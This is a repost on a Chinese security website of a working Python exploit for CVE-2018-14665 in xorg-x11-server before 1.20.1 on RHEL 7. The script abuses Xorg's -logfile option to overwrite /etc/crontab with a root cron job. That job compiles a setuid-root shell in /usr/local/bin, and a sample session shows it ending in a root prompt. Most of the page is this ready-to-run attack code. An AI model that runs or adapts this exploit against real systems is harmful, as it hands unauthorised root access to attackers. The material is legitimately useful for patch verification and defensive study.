首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
xorg-x11-server < 1.20.1 - Local Privilege Escalation
来源:@bolonobolo 作者:bolonobolo 发布时间:2018-11-14  
# Exploit Title: xorg-x11-server < 1.20.1 - Local Privilege Escalation (RHEL 7)
# Date: 2018-11-07
# Exploit Author: @bolonobolo
# Vendor Homepage: https://www.x.org/
# Version: 1.19.5
# Tested on: RHEL 7.3 && 7.5
# CVE : CVE-2018-14665
# Explanation
# The only condition that have to be met for this PE to work via SSH, is that the legitimate non-root user
# has to be logged in trought console at the moment the PE script launched.
# In fact during the logged in session of the legitimate non-root user,
# a file with the name of the non-root user will be created in the /var/run/console folder.
# With that file present, the same non-root user can launch a Xorg command via SSH.
#
# Usage: $ python poc.py
# $ python poc.py
# [*] Waiting for bolo to connect to the console
# [*] OK --> bolo console opened
# [*] Building root shell wait 2 minutes
# [*] crontab overwritten
#
# ... cut Xorg output ...
#
# [*] Xorg killed
# (II) Server terminated successfully (0). Closing log file.
# [*] Don't forget to cleanup /etc/crontab and /tmp dir
# sh-4.2# id && whoami
# uid=0(root) gid=0(root) gruppi=0(root),1001(bolo)
# root
# sh-4.2#
 
 
#!/usr/bin/python
import os
import getpass
import subprocess
 
userList = []
path="/var/run/console/"
 
def getWhoami():
    return getpass.getuser()
 
def getConsole(path):
    p = subprocess.Popen(["ls", path], stdout=subprocess.PIPE)
    (console, err) = p.communicate()
    consoleList = str.splitlines(console)
    return consoleList
 
def payload():
    f = open("/tmp/payload", "w")
    payload = ("cp /bin/sh /usr/local/bin/shell\n"
            "echo \"#include <stdio.h> \" > /tmp/shell.c\n"
            "echo \"#include <stdlib.h>\" >> /tmp/shell.c\n"
            "echo \"#include <sys/types.h>\" >> /tmp/shell.c\n"
            "echo \"#include <unistd.h>\" >> /tmp/shell.c\n"
            "echo 'int main(){setuid(0);setgid(0);system(\"/bin/sh\");}' >> /tmp/shell.c\n"
            "gcc /tmp/shell.c -o /usr/local/bin/shell\n"
            "chmod 4777 /usr/local/bin/shell\n")
    f.write(payload)   
    
def executePayload():  
    os.system("chmod +x /tmp/payload")
    os.system("cd /etc; Xorg -fp \"* * * * * root /tmp/payload\" -logfile crontab :1 &")
    print "[*] crontab overwritten"
    os.system("sleep 5")
    os.system("pkill Xorg")
    print "[*] Xorg killed"
    os.system("sleep 120")
    return
 
def main():
    whoami = getWhoami()
    print "[*] Waiting for " + whoami + " to connect to the console"
    i = 0
    while (i == 0):
        consoleList = getConsole(path)
        for user in consoleList:
            if user == whoami :
                print "[*] OK --> " + user + " console opened"
                i = 1
    print "[*] Building root shell wait 2 minutes"
    payload()
    executePayload()
    print "[*] Don't forget to cleanup /etc/crontab and /tmp dir"
    os.system("/usr/local/bin/shell")          
 
if __name__ == '__main__':
    main()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cisco Immunet < 6.2.0 / Cisco
·ntpd 4.2.8p10 - Out-of-Bounds
·XAMPP Control Panel 3.2.2 - Bu
·AMPPS 2.7 - Denial of Service
·Evince 3.24.0 - Command Inject
·Atlassian Jira Authenticated U
·CuteFTP Mac 3.1 - Denial of Se
·SwitchVPN for macOS 2.1012.03
·Mongoose Web Server 6.9 - Deni
·Bosch Video Management System
·CuteFTP 9.3.0.3 - Denial of Se
·PHP 5.2.3 imap (Debian Based)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved